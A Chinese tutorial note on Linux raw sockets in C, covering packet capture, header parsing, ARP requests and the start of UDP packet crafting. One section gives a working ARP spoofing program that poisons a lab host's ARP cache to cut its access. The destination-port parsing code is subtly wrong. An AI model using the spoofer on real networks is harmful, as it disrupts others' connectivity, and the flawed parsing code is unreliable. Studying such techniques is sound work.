一.概述
1.介绍
使用原始套接字需要管理员权限
**原始套接字(SOCK_RAW):**是一种不同于SOCK_STREAM
、SOCK_DGRAM
的套接字,它实现于系统核心,可以接收本机网卡上的所有的数据帧(数据包),对于监听网络流量和分析网络数据很有用,开发人员可发送自己组装的数据包到网络上,广泛应用于高级网络编程
2.数据的收发
**流式套接字只能收发:**TCP 协议的数据
**数据报套接字只能收发:**UDP 协议的数据
原始套接字可以收发:
-
内核没有处理的数据包,因此要访问其他协议
-
发送的数据需要使用,原始套接字(SOCK_RAW)
![](https://honescos.oss-cn-hangzhou.aliyuncs.com/img/wps1H4WODNW0jL202405101922e6b3b3b8fafe80dd.png)
二.相关函数
1.创建原始套接字
函数定义:
#include
#include
int socket(int domain, int type, int protocol);
**功能:**创建链路层原始套接字
参数:
-
**domain:**PF_PACKET
-
**type:**SOCK_RAW
-
**protocol:**指定可以接收或发送的数据包类型
该参数需要使用
htons
将下面参数转成网络大端后填写-
ETH_P_IP:IPV4 数据包
-
ETH_P_ARP:ARP 数据包
-
ETH_P_ALL:任何协议类型的数据包
-
返回值:
- 成功:返回链路层套接字
- 失败:返回-1
示例:
sock_raw_fd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
2.原始套接字接收数据
**简述:**原始套接字的数据接收使用recvfrom
函数完成,不过因为是在链路层接收数据,少了网络传输层对数据的解包,所以即使设置了SockerAddr结构体也会没有数据,这里直接置NULL
即可
函数定义:
#include
#include
ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags,
struct sockaddr *src_addr, socklen_t *addrlen);
参数:
-
**sockfd:**原始套接字
-
**buf:**存储读取帧数据的
unsigned char
数组这个数组的长度一般设置为1500,因为一帧数据通常即为1500
-
**flags:**设置为0即可
-
**src_addr和addrlen:**置
NULL
即可
**返回值:**接收到数据的长度
示例:
unsigned char buf[1500] = "";
recvfrom(sockFd, buf, sizeof(buf), 0, NULL, NULL);
3.原始套接字发送数据
(1)介绍
简述:原始套接字的数据发送是通过sendto
发生完整的帧数据的,不过和接收数据一样,原始套接字的数据发送是处于链路层的,其发送面向的SockAddr结构体记录的是本地主机出去的网卡地址
(2)函数介绍
① sendto-数据发送
Ⅰ.函数定义
#include
#include
ssize_t sendto(int sockfd, const void *buf, size_t len, int flags,
const struct sockaddr *dest_addr, socklen_t addrlen);
参数:
-
sockfd:原始套接字
-
buf:完整的帧数据
需要手动的组帧
-
len:帧的实际长度
-
flags:写0即可
-
dest_addr:本地主机帧数据出去的网卡地址
由sockaddr_ll结构体转成的通用套接字结构体,具体见下
-
addrlen:通用套接字结构体的长度
返回值:
- 成功:返回实际发送的字节数
- 失败:返回
-1
,并设置全局错误变量errno
Ⅱ.SockAddr_ll结构体
就本次使用原始套接字发送数据而言,只需要对
sll_ifindex
进行赋值即可
头文件:
结构体定义:
struct sockaddr_ll {
unsigned short sll_family; /* 地址族,一般为PF_PACKET */
unsigned short sll_protocol; /* 上层的协议类型 */
int sll_ifindex; /* 接口类型 */
unsigned short sll_hatype; /* 报头类型 */
unsigned char sll_pkttype; /* 包类型 */
unsigned char sll_halen; /* 地址长度 */
unsigned char sll_addr[8]; /* MAC地址 */
};
② Ioctl-本地机接口数据获取
Ⅰ.函数定义:
#include
int ioctl(int fd, unsigned long request, ...);
参数:
-
fd:设备文件描述符
-
request:控制命令编号
-
可选参数
- 目前这里只要填写接收获取到接口的
struct ifreq
结构体即可
- 目前这里只要填写接收获取到接口的
Ⅱ.Ifreq结构体
**使用:**这个结构体的作用,简单说更像是封装本地机接口类型作为Ioctl函数的参数以获取本地接口数据以供给sockaddr_ll结构体赋值之用
头文件:#include
结构体定义:
struct ifreq
{
# define IFHWADDRLEN 6
# define IFNAMSIZ IF_NAMESIZE
union
{
char ifrn_name[IFNAMSIZ]; /* Interface name, e.g. "en0". */
} ifr_ifrn;
union
{
struct sockaddr ifru_addr;
struct sockaddr ifru_dstaddr;
struct sockaddr ifru_broadaddr;
struct sockaddr ifru_netmask;
struct sockaddr ifru_hwaddr;
short int ifru_flags;
int ifru_ivalue;
int ifru_mtu;
struct ifmap ifru_map;
char ifru_slave[IFNAMSIZ]; /* Just fits the size */
char ifru_newname[IFNAMSIZ];
__caddr_t ifru_data;
} ifr_ifru;
};
(3)函数封装
使用的时候可以直接调用这个发送帧数据
/*
fd:原始套接字
msg:要发送的帧数据
len:发送帧数据的长度
if_name;网卡名称
*/
int SendTo(int sockFd, unsigned char *msg, int len, char *if_name) {
struct ifreq EthReq;//创建ifreq结构体
strncpy(EthReq.ifr_name, if_name, IFNAMSIZ);//指定网卡名称
int ret = ioctl(sockFd, SIOCGIFINDEX, &EthReq);//获取接口信息
if (ret < 0) {
perror("ioctl error");
close(sockFd);
_exit(-1);
}
//定义struct sockaddr_ll接口体,并将上面获取的接口信息赋值给其内的
struct sockaddr_ll sll;
memset(&sll, 0, sizeof(sll));
sll.sll_ifindex = EthReq.ifr_ifindex;//给sll赋值
//使用sendto发送数据
int sendNum = sendto(sockFd, msg, len, 0, (struct sockaddr *) &sll, sizeof(sll));
return sendNum;
}
三.报文分析(接收)
[!TIP] 参考: 参考计算机基础-网络基础中各个报文的详细结构 分析顺序: 基于原始套接字从链路层开始一层层向上分析报文数据
1.接收帧数据
步骤:
- 定义
1500
长度的char数组,用以接收帧数据 - 使用
recvfrom()
函数接收帧数据(无需定义SocketAddr结构体接收,这里是位于链路层,不会有数据)
实现:
unsigned char buf[1500] = "";
recvfrom(sockFd, buf, sizeof(buf), 0, NULL, NULL);
2.MAC报文解析
(1)解析目的、源mac地址
步骤:
-
定义两个
18
长度的数组接收目的macdst_mac
和源macsrc_mac
长度
18
的来源就是mac地址的位数 -->10-F6-0A-5B-DE-1C
共18位 -
使用
%02x
作为占位符从帧数据中解析mac数据,每次移动1位(基于mac报文的设计)
![image.png](https://honescos.oss-cn-hangzhou.aliyuncs.com/img/1715351982931-a48c694a-be8a-4e51-bb67-7408396ed387.pngo6hrqOhPiR2024051111570b35d407667327f3.png)
实现: buf是接受到的帧数据
/*解析mac报文*/
char dst_mac[18] = "";//10-F6-0A-5B-DE-1C,共18位
char src_mac[18] = "";
printf("%s\n", buf);
//解析目的mac地址
sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0], buf[1], buf[2], buf[3], buf[4],
buf[5]);
//解析源mac地址,向后移动6位让其到达源mac位置
sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0 + 6], buf[1 + 6], buf[2 + 6],
buf[3 + 6], buf[4 + 6], buf[5 + 6]);
(2)解析mac报文类型
步骤:
-
记录帧数据的数组向前移动12位即可得到报文类型了(报文设计)
-
不过在使用前需要使用
ntohs()
函数将其从网络大端转为主机的小端
实现:
//获取数据报类型,buf帧向后移动12位到达mac数据报类型位置(需要从大端转为小端)
unsigned short mac_type = ntohs(*(unsigned short *) (buf + 12));
if (mac_type == 0x0800) {
printf("上层为IP报文\n");
} else if (mac_type == 0x0806) {
printf("上层为arp报文\n");
} else if (mac_type == 0x8035) {
printf("上层为RARP报文\n");
}
3.解析IP报文
建立在上面mac解析的
mac_type
类型是IP报文的基础上的
前期操作: 先在帧数据的基础上+14
移动到IP报文区域,方便后继操作
unsigned char *Ip = buf + 14;//buf是记录一帧数据的数组,具体见前面
(1)解析协议类型
步骤:
- 取IP报文区域的第
9
个字节的数据即可得到协议的类型代号(是一个长度为1的unsigned char
字符串)
![Snipaste_2024-05-10_22-55-22.png](https://honescos.oss-cn-hangzhou.aliyuncs.com/img/1715385334206-9e06abfb-53da-4924-b7fb-5ef07222b199.pnguhPBIG2KBx202405111157d155f3e70a3a5b55.png)
- 后继根据报文设计对类型代码进行判断确定具体的协议类型即可
实现:
unsigned char *Ip = buf + 14;//buf是记录一帧数据的数组,具体见前面
/*解析协议类型*/
unsigned char ip_type = Ip[9];
if (ip_type == 1) {
printf("IP报文协议类型为ICMP\n");
}
if (ip_type == 2) {
printf("IP报文协议类型为IGMP\n");
}
if (ip_type == 6) {
printf("IP报文协议类型为TCP\n");
}
if (ip_type == 17) {
printf("IP报文协议类型为UDP\n");
}
(2)解析源IP和目的IP
步骤:
-
定义两个长度为16的字符串接收源IP和目的IP
IPv4地址的最大长度(包括点分隔符)是15个字符,包括
\0
后即16 -
移动指针到帧数据的源IP位置,并使用
inet_ntop
将大端转为小端即可获得源IP,目的IP同理
实现:
unsigned char *Ip = buf + 14;//buf是记录一帧数据的数组,具体见前面
/*解析IP源、目的地址*/
char src_ip[16] = "";
char dst_ip[16] = "";//192.168.141.254\0,共16位
//解析源IP
inet_ntop(AF_INET, Ip + 12, src_ip, 16);
//解析目的IP
inet_ntop(AF_INET, Ip + 16, dst_ip, 16);
printf("源IP:%s;目的IP:%s", src_ip, dst_ip);
4.TCP和UDP报文分析
UDP同理,根据其报文结构调整下面的程序即可,不另外说明
(1)IP报文头部长度获取
原因: 因为IP报文设计中存在一个选项(32位),其可有可无,致使我们无法直接确定IP报文头部的长度,也就无法确定数据(TCP和UDP报文所在)位在帧数据中的起始值
获取方法: 通过IP报文中的首部长度(4位),获取报文的长度,不过其只占用了ip[0]
中的低4位,剩下的高4位需要与上16进制的0x0f
去掉,最后需要*4
,因为头部长度是以32位字(4字节)为单位给出的,所以必须乘4才能得到实际的报文头部长度
实现: int ip_head_len = (ip[0] & 0x0f) * 4;
(2)解析TCP报文端口
步骤:
- 在Ip报文头部的基础上向后移动Ip报文的头部长度即可得到TCP报文的起始位置
- 每个端口占2个字节长度,移动两次并大端转小端即可得到端口信息了
![](https://honescos.oss-cn-hangzhou.aliyuncs.com/img/1715388463258-a12d17cb-4617-4402-8cf8-e10f7737599d.png5jiXztrnGL2024051111571f5558d37397af88.png)
//获取IP报文的长度
int ip_head_len = (Ip[0] & 0x0f) * 4;
//移动Ip报文位置到TCP报文位置
unsigned char *Tcp = Ip + ip_head_len;
//解析源端口和目的端口
unsigned short src_port = ntohs(*(unsigned short *) Tcp);
unsigned short dst_port = ntohs(*(unsigned short *) Tcp + 2);
printf("源端口:%hu;目的端口:%hu\n", src_port, dst_port);
(3)获取TCP报文数据
**注意事项:**TCP头部长度字段表示TCP头部的长度,但它的单位是32位字(4字节)。这意味着,TCP头部长度字段的值乘以4才能得到TCP头部的实际长度,以字节为单位。如果你不乘以4,得到的值将不会是TCP头部的实际长度,而只是TCP头部长度字段的原始值 步骤:
-
先从TCP报文的**头部长度(4位)**中获取TCP报文的头部长度
① 取TCP报文首地址起始第12位字节的高4位,即向低4位清0
② 再位移4个字节,获取的高4位位移到最低端,因为TCP头部是以32位为单位的所以需要将这4位位移到最低端才好处理
③ 将高4位清0,保证正确性
④ 因为头部长度的范围是4,乘4才能得到真实的长度
int tcp_head_len = (((tcp[12]&0xf0)>>4)&0x0f)*4;
![](https://honescos.oss-cn-hangzhou.aliyuncs.com/img/1715391642308-c2086ecf-06f2-403f-b51f-e8d95829f408jdkMJRWcp520240511115899cc447cb4df5565.png)
- 最后在TCP报文的起始位置加上TCP报文头部长度的位置开始的内容就是报文数据了
实现:
//获取IP报文的长度
int ip_head_len = (Ip[0] & 0x0f) * 4;
//移动Ip报文位置到TCP报文位置
unsigned char *Tcp = Ip + ip_head_len;
//计算TCP报文的长度
int tcp_head_len = (((Tcp[12] & 0xf0) >> 4) & 0x0f) * 4;
//打印获取到的数据
printf("TCP报文的数据为:%s\n", Tcp + tcp_head_len);
5.完整代码
代码:
#include
#include
#include
#include
#include
int main(int argc, char const *argv[]) {
/*创建原始套接字*/
int sockFd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sockFd < 0) {
perror("create sock_raw");
return 0;
}
printf("create sock_raw:%d\n", sockFd);
while (1) {
/*接收完整的帧数据*/
unsigned char buf[1500] = "";
recvfrom(sockFd, buf, sizeof(buf), 0, NULL, NULL);//此处是在链路层接收数据,无需设置socketAddr结构体接收数据,无意义
/*解析mac报文*/
char dst_mac[18] = "";//10-F6-0A-5B-DE-1C,共18位
char src_mac[18] = "";
printf("%s\n", buf);
//解析目的mac地址
sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0], buf[1], buf[2], buf[3], buf[4],
buf[5]);
//解析源mac地址,向后移动6位让其到达源mac位置
sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0 + 6], buf[1 + 6], buf[2 + 6],
buf[3 + 6], buf[4 + 6], buf[5 + 6]);
printf("目的mac:%s,源mac:%s\n", dst_mac, src_mac);
//获取数据报类型,buf帧向后移动12位到达mac数据报类型位置(需要从大端转为小端)
unsigned short mac_type = ntohs(*(unsigned short *) (buf + 12));
if (mac_type == 0x0800) {
/*解析IP报文*/
printf("上层为IP报文\n");
//移动帧的位置到IP报文的区域,并使用ip记录其起始值
unsigned char *Ip = buf + 14;
//解析协议类型*
unsigned char ip_type = Ip[9];
if (ip_type == 1) {
printf("IP报文协议类型为ICMP\n");
}
if (ip_type == 2) {
printf("IP报文协议类型为IGMP\n");
}
if (ip_type == 6) {
printf("IP报文协议类型为TCP\n");
/*解析TCP报文*/
//获取IP报文的长度
int ip_head_len = (Ip[0] & 0x0f) * 4;
//移动Ip报文位置到TCP报文位置
unsigned char *Tcp = Ip + ip_head_len;
//解析源端口和目的端口
unsigned short src_port = ntohs(*(unsigned short *) Tcp);
unsigned short dst_port = ntohs(*(unsigned short *) Tcp + 2);
printf("源端口:%hu;目的端口:%hu\n", src_port, dst_port);
//计算TCP报文的长度
int tcp_head_len = (((Tcp[12] & 0xf0) >> 4) & 0x0f) * 4;
//打印获取到的数据
printf("TCP报文的数据为:%s\n", Tcp + tcp_head_len);
}
if (ip_type == 17) {
printf("IP报文协议类型为UDP\n");
/*解析UDP报文*/
//获取IP报文的长度
int ip_head_len = (Ip[0] & 0x0f) * 4;
//移动Ip报文位置到UDP报文位置
unsigned char *Udp = Ip + ip_head_len;
//解析源端口和目的端口
unsigned short src_port = ntohs(*(unsigned short *) Udp);
unsigned short dst_port = ntohs(*(unsigned short *) Udp + 2);
printf("源端口:%hu;目的端口:%hu\n", src_port, dst_port);
//打印获取到的数据
printf("UDP报文的数据为:%s\n", Udp + 8);
}
//解析IP源、目的地址
char src_ip[16] = "";
char dst_ip[16] = "";//192.168.141.254\0,共16位
//解析源IP
inet_ntop(AF_INET, Ip + 12, src_ip, 16);
//解析目的IP
inet_ntop(AF_INET, Ip + 16, dst_ip, 16);
printf("源IP:%s;目的IP:%s\n", src_ip, dst_ip);
} else if (mac_type == 0x0806) {
printf("上层为arp报文\n");
} else if (mac_type == 0x8035) {
printf("上层为RARP报文\n");
}
}
close(sockFd);
**效果:**获取到的数据出现乱码是正常的,因为这里是临时当它是字符串打印的,实际是什么谁也拿不准
目的mac:00:50:56:c0:00:08,源mac:00:0c:29:c1:d3:13
上层为IP报文
源IP:192.168.141.128;目的IP:192.168.141.1
IP报文协议类型为TCP
源端口:22;目的端口:534
TCP报文的数据为:aQ�&y9�I���B����,u�
四.报文组包(发送)
1.获取某个PC的Mac地址
(1)ARP报文
① 结构
![](https://honescos.oss-cn-hangzhou.aliyuncs.com/img/image-20240511153258583imHlHnd7mx2024051115326955a2655903292f.png)
② 组包(请求包)
这里是手动组包,实际不太这么整,具体看下面ARP欺骗那种结构体组包
目的mac地址:ff:ff:ff:ff:ff:ff
- 请求的ARP包,这里填
ff:ff:ff:ff:ff:ff
,会将该请求发送给局域网的所有设备
源mac地址:00:0c:29:c1:d3:13
- 这是本机的mac地址,通过
ifconfig
获取
帧类型:0x0806
- 自然是ARP类型啦
硬件类型:0001
- 即十进制的1,表示以太网地址
协议类型:0x0800
- 即IP
**硬件地址长度:**6
- 固定的,且直接以十进制形式填写
**协议地址长度:**4
- 固定的,且直接以十进制形式填写
**OP:**这里填ARP请求,即1,填2进制数->0001
**源mac地址:**本机的mac地址
**源IP:**本机的IP地址
**目的Mac地址:**对于请求的ARP包,这里直接填00:00:00:00:00:00
即可
**目的IP:**目的主机的IP地址
unsigned char ArpPack[512] = {
//------------------mac头------------------
0xff, 0xff, 0xff, 0xff, 0xff, 0xff,/*目的mac地址,请求即未知,使用ff:ff:ff:ff:ff:ff*/
0x00, 0x0c, 0x29, 0xc1, 0xd3, 0x13,/*源mac地址*/
0x08, 0x06,/*帧类型*/
//------------------arp头------------------
0x00, 0x01,/*硬件类型*/
0x08, 0x00,/*协议类型*/
6,/*硬件地址长度*/
4,/*协议地址长度*/
0x00, 0x01,/*arp请求报文*/
0x00, 0x0c, 0x29, 0xc1, 0xd3, 0x13,/*源mac地址*/
192, 168, 141, 128,/*源IP*/
0, 0, 0, 0, 0, 0,/*目的mac地址*/
192, 168, 141, 1/*目的IP*/
};
(2)完整代码
**代码:**这个代码是虚拟机(192.168.141.128
)请求宿主机(192.168.141.1
)mac地址的代码
#include
#include
#include
#include
#include
#include
#include
#include
#include
/*
fd:原始套接字
msg:要发送的帧数据
len:发送帧数据的长度
if_name;网卡名称
*/
int SendTo(int sockFd, unsigned char *msg, int len, char *if_name) {
struct ifreq EthReq;//创建ifreq结构体
strncpy(EthReq.ifr_name, if_name, IFNAMSIZ);//指定网卡名称
int ret = ioctl(sockFd, SIOCGIFINDEX, &EthReq);//获取接口信息
if (ret < 0) {
perror("ioctl error");
close(sockFd);
_exit(-1);
}
//定义struct sockaddr_ll接口体,并将上面获取的接口信息赋值给其内的
struct sockaddr_ll sll;
memset(&sll, 0, sizeof(sll));
sll.sll_ifindex = EthReq.ifr_ifindex;//给sll赋值
//使用sendto发送数据
int sendNum = sendto(sockFd, msg, len, 0, (struct sockaddr *) &sll, sizeof(sll));
return sendNum;
}
int main() {
/*创建原始套接字*/
int sockFd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sockFd < 0) {
perror("create sock_raw");
}
//打印创建的原始套接字
printf("create sock_raw:%d\n", sockFd);
/*发出ARP请求*/
//组ARP包
unsigned char ArpPack[512] = {
//------------------mac头------------------
0xff, 0xff, 0xff, 0xff, 0xff, 0xff,/*目的mac地址,请求即未知,使用ff:ff:ff:ff:ff:ff*/
0x00, 0x0c, 0x29, 0xc1, 0xd3, 0x13,/*源mac地址*/
0x08, 0x06,/*帧类型*/
//------------------arp头------------------
0x00, 0x01,/*硬件类型*/
0x08, 0x00,/*协议类型*/
6,/*硬件地址长度*/
4,/*协议地址长度*/
0x00, 0x01,/*arp请求报文*/
0x00, 0x0c, 0x29, 0xc1, 0xd3, 0x13,/*源mac地址*/
192, 168, 141, 128,/*源IP*/
0, 0, 0, 0, 0, 0,/*目的mac地址*/
192, 168, 141, 1/*目的IP*/
};
//发出ARP帧
int len = SendTo(sockFd, ArpPack, 42, "ens33");
printf("发出长度为:%d的数据\n", len);
/*接收ARP请求*/
while (1) {
unsigned char buf[1500] = "";
recvfrom(sockFd, buf, sizeof(buf), 0, NULL, NULL);
//解析数据报的类型
unsigned short mac_type = ntohs(*(unsigned short *) (buf + 12));
if (mac_type == 0x0806) {
printf("上层为arp报文\n");
//获取OP请求,判断是不是ARP应答
unsigned short op = ntohs(*(unsigned short *) (buf + 20));
if (op == 2) {
//为应答,则提取回应的mac地址
char src_mac[18] = "";
sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0 + 6], buf[1 + 6], buf[2 + 6],
buf[3 + 6], buf[4 + 6], buf[5 + 6]);
//提取回应的IP地址
char src_ip[16] = "";
inet_ntop(AF_INET, buf + 28, src_ip, 16);
printf("ARP应答IP:%s;对应Mac地址:%s\n", src_ip, src_mac);
break;
}
}
}
close(sockFd);
return 0;
}
结果:
honestliu@honestliu-virtual-machine:~/Develop/UnixNet/SockRow原始套接字$ sudo ./a.out
create sock_raw:3
发出长度为:42的数据
上层为arp报文
ARP应答IP:192.168.141.1;对应Mac地址:00:50:56:c0:00:08
五.ARP欺骗分析(ARP组包发送)
1.结构体组包
(1)以太网头部(mac报文)
① ether_header(首选)
头文件:#include
**结构体:**struct ether_header
struct ether_header
{
uint8_t ether_dhost[ETH_ALEN]; /* 目的MAC地址 */
uint8_t ether_shost[ETH_ALEN]; /* 源MAC地址 */
uint16_t ether_type; /* 帧类型 */
}
② struct ethhdr
头文件:#include
**结构体:**struct ethhdr
struct ethhdr {
unsigned char h_dest[ETH_ALEN]; /* 目的MAC地址 */
unsigned char h_source[ETH_ALEN]; /* 源MAC地址 */
__be16 h_proto; /* 帧类型 */
}
(2)ARP头部
这个结构体建议直接去
/usr/include/net/f_arp.h
拷贝到本地代码重新定义下,因为需要用到注释的内容
- 不建议直接修改系统头文件,容易出问题
头文件:#include
**结构体:**struct arphdr
struct arphdr {
unsigned short int ar_hrd; /* 硬件类型 (Hardware type)
指定了网络类型,例如以太网(ETH_P_ARP) */
unsigned short int ar_pro; /* 协议地址格式 (Protocol address format)
指定了网络层协议类型,例如 IPv4(ETH_P_IP) */
unsigned char ar_hln; /* 硬件地址长度 (Hardware address length)
硬件地址(例如 MAC 地址)的长度,通常是 6 个字节 */
unsigned char ar_pln; /* 协议地址长度 (Protocol address length)
网络层地址(例如 IPv4 地址)的长度,IPv4 中是 4 个字节 */
unsigned short int ar_op; /* ARP 操作码 (ARP opcode) */
#if 0
/* 发送者硬件地址 (Sender hardware address) */
unsigned char __ar_sha[ETH_ALEN];
/* 发送者 IP 地址 (Sender IP address) */
unsigned char __ar_sip[4];
/* 目标硬件地址 (Target hardware address) */
unsigned char __ar_tha[ETH_ALEN];
/* 目标 IP 地址 (Target IP address) */
unsigned char __ar_tip[4];
#endif
};
2.APR欺骗实例
其实只实现了欺骗目标主机使其失去对本主机的访问能力,只需欺骗目标主机对特定主机的访问能力,这个以后再探究
代码:
#include
#include
#include
#include
#include
#include
#include
#include
#include //以太网头部
/*代码说明:
* 192.168.141.1:是要欺骗的主机IP
* 192.168.141.128:是欺骗的IP
* 功能:
* 循环20次,每隔1S发送一个arp应答,让要欺骗主机对应欺骗IP的mac地址修改成"ee:ee:ee:ee:ee:ee"
* 使其无法访问该IP对应的主机
* */
//ARP头结构体,根据系统头文件修改而来
typedef struct ah {
unsigned short int ar_hrd; /* 硬件类型 (Hardware type) */
unsigned short int ar_pro; /* 协议地址格式 (Protocol address format) */
unsigned char ar_hln; /* 硬件地址长度 (Hardware address length)*/
unsigned char ar_pln; /* 协议地址长度 (Protocol address length)*/
unsigned short int ar_op; /* ARP 操作码 (ARP opcode) */
unsigned char __ar_sha[ETH_ALEN];/* 发送者硬件地址 (Sender hardware address) */
unsigned char __ar_sip[4];/* 发送者 IP 地址 (Sender IP address) */
unsigned char __ar_tha[ETH_ALEN];/* 目标硬件地址 (Target hardware address) */
unsigned char __ar_tip[4];/* 目标 IP 地址 (Target IP address) */
} ArpHd;
/*
fd:原始套接字
msg:要发送的帧数据
len:发送帧数据的长度
if_name;网卡名称
*/
int SendTo(int sockFd, unsigned char *msg, int len, char *if_name) {
struct ifreq EthReq;//创建ifreq结构体
strncpy(EthReq.ifr_name, if_name, IFNAMSIZ);//指定网卡名称
int ret = ioctl(sockFd, SIOCGIFINDEX, &EthReq);//获取接口信息
if (ret < 0) {
perror("ioctl error");
close(sockFd);
_exit(-1);
}
//定义struct sockaddr_ll接口体,并将上面获取的接口信息赋值给其内的
struct sockaddr_ll sll;
memset(&sll, 0, sizeof(sll));
sll.sll_ifindex = EthReq.ifr_ifindex;//给sll赋值
//使用sendto发送数据
int sendNum = sendto(sockFd, msg, len, 0, (struct sockaddr *) &sll, sizeof(sll));
return sendNum;
}
int main() {
int sockFd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sockFd < 0) {
perror("create sock_raw");
}
//打印创建的原始套接字
printf("create sock_raw:%d\n", sockFd);
//存储帧的空间
unsigned char buf[1500] = "";
/*定义以太网头部*/
unsigned char des_mac[] = {0x00, 0x50, 0x56, 0xc0, 0x00, 0x08};//目的mac,欺骗目的地主机
unsigned char src_mac[] = {0xee, 0xee, 0xee, 0xee, 0xee, 0xee};//源mac.这是用以修改目的主机的mac
struct ether_header *ethHd = (struct ether_header *) buf;
memcpy(ethHd->ether_dhost, des_mac, 6);//设置目的mac
memcpy(ethHd->ether_shost, src_mac, 6);//设置源mac
ethHd->ether_type = htons(0x0806);//设置帧类型
/*定义ARP头部.注意要移动指针到定义ARP头部的位置*/
unsigned char src_ip[] = {192, 168, 141, 128};
unsigned char des_ip[] = {192, 168, 141, 1};
ArpHd *arpHd = (ArpHd *) (buf + 14);
arpHd->ar_hrd = htons(1);
arpHd->ar_pro = htons(0x0800);
arpHd->ar_hln = 6;
arpHd->ar_pln = 4;
arpHd->ar_op = htons(2);
memcpy(arpHd->__ar_sha, src_mac, 6);//发过去的是用以欺骗的mac地址
memcpy(arpHd->__ar_sip, src_ip, 4);
memcpy(arpHd->__ar_tha, des_mac, 6);
memcpy(arpHd->__ar_tip, des_ip, 4);
/*循环发送欺骗arp*/
for (int i = 0; i < 20; ++i) {
SendTo(sockFd,buf,14+28,"ens33");
sleep(1);
}
//释放原始套接字
close(sockFd);
return 0;
}
效果:
六.原始套接字发送UDP报文
1.IP和UDP报文结构体
(1)IP报文
关于校验和,定义时先置零,后继再计算赋值
① 概述
头文件:#include
结构体:
struct iphdr
{
#if __BYTE_ORDER == __LITTLE_ENDIAN //小端
unsigned int ihl:4;//首部长度
unsigned int version:4;//版本
#elif __BYTE_ORDER == __BIG_ENDIAN //大端
unsigned int version:4;//版本
unsigned int ihl:4;//首部长度
#else
# error "Please fix "
#endif
uint8_t tos;//服务类型
uint16_t tot_len;//总长度
uint16_t id;//标识
uint16_t frag_off;//标志、片偏移
uint8_t ttl;//生存时间
uint8_t protocol;//协议
uint16_t check;//首部校验和,定义时先置零,后继再计算赋值
uint32_t saddr;//源地址IP
uint32_t daddr;//目的地址IP
/*The options start here. */
};
② 首部校验和计算函数
暂时不理解
unsigned short checksum(unsigned short *buf, int len)
{
int nword = len / 2;
unsigned long sum;
if (len % 2 == 1)
nword++;
for (sum = 0; nword > 0; nword--)
{
sum += *buf;
buf++;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
(2)UDP报文结构体
UDP校验需要伪头部
UDP的数据必须是偶数,不是偶数要对其进行填充
头文件:#include
**结构体:**先阶段实际使用时只需要关注后面我写了中文注释的地方即可
struct udphdr
{
__extension__ union
{
struct
{
uint16_t uh_sport; /* source port */
uint16_t uh_dport; /* destination port */
uint16_t uh_ulen; /* udp length */
uint16_t uh_sum; /* udp checksum */
};
struct
{
uint16_t source;//源端口号
uint16_t dest;//目的端口号
uint16_t len;//长度
uint16_t check;//校验和
};
};
};
(3)实现
① 代码说明
**源主机:**192.168.141.128
**源mac:**00:0c:29:c1:d3:13
**目的主机:**192.168.141.1
**目的mac:**00-50-56-C0-00-08
② 功能
**关键(我不会的):**IP报文和UDP报文的校验和计算
**功能:**由原主机通过标准输入读取用户输入,然后组包通过UDP协议发送数据
③ 实现
#include
#include
#include
#include
#include
#include
#include
#include
#include //以太网mac报文
#include //IP报文
#include //udp报文
/*
fd:原始套接字
msg:要发送的帧数据
len:发送帧数据的长度
if_name;网卡名称
*/
int SendTo(int sockFd, unsigned char *msg, int len, char *if_name) {
struct ifreq EthReq;//创建ifreq结构体
strncpy(EthReq.ifr_name, if_name, IFNAMSIZ);//指定网卡名称
int ret = ioctl(sockFd, SIOCGIFINDEX, &EthReq);//获取接口信息
if (ret < 0) {
perror("ioctl error");
close(sockFd);
_exit(-1);
}
//定义struct sockaddr_ll接口体,并将上面获取的接口信息赋值给其内的
struct sockaddr_ll sll;
memset(&sll, 0, sizeof(sll));//清0
sll.sll_ifindex = EthReq.ifr_ifindex;//给sll赋值
//使用sendto发送数据
int sendNum = sendto(sockFd, msg, len, 0, (struct sockaddr *) &sll, sizeof(sll));
return sendNum;
}
/*校验IP首部的函数*/
unsigned short checksum(unsigned short *buf, int len) {
int nWord = len / 2;
unsigned long sum;
if (len % 2 == 1)
nWord++;
for (sum = 0; nWord > 0; nWord--) {
sum += *buf;
buf++;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
/*UDP伪首部结构体*/
struct pseudoHeader {
u_int32_t sAddr;//源IP地址
u_int32_t dAddr;//目的IP地址
u_int8_t flag;//我不知道,😂(记得查)
u_int8_t pro;//8位协议
u_int16_t len;//16位UDP长度
};
int main() {
/*创建原始套接字*/
int sockFd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sockFd < 0) {
perror("create sock_raw");
}
//打印创建的原始套接字
printf("create sock_raw:%d\n", sockFd);
/*读取要发送的数据*/
char data[128] = "";;
printf("请输入要发送的数据\n");
scanf("%s", data);
//udp输入的数据必须是偶数
int data_len = strlen(data) + strlen(data) % 2;
/*组包*/
unsigned char buf[1500] = "";
//以太网mac报文
unsigned char des_mac[] = {0x00, 0x50, 0x56, 0xc0, 0x00, 0x08};//目的mac地址
unsigned char src_mac[] = {0x00, 0x0c, 0x29, 0xc1, 0xd3, 0x13};//源mac地址
struct ether_header *etherHeader = (struct ether_header *) buf;//申请报文空间
//构建以太网mac头部
memcpy(etherHeader->ether_dhost, des_mac, 6);
memcpy(etherHeader->ether_shost, src_mac, 6);
etherHeader->ether_type = htons(0x0800);//协议为IP
/*IP报文*/
struct iphdr *ipHd = (struct iphdr *) (buf + 14);//14是以太网头部所占用的大小
//封装报文数据
ipHd->version = 4;//IPV4协议
ipHd->ihl = 5;//首部长度
ipHd->tos = 0;//服务类型
ipHd->tot_len = htons(20 + 8 + data_len);//IP首部 + (UDP首部 + 数据长度)
ipHd->id = htons(0);//标识
ipHd->frag_off = htons(0);//偏移片
ipHd->ttl = 128;//生存时间
ipHd->protocol = 17;//即UDP协议
ipHd->check = htons(0);//先以0填充,后继计算皇后再放置到这
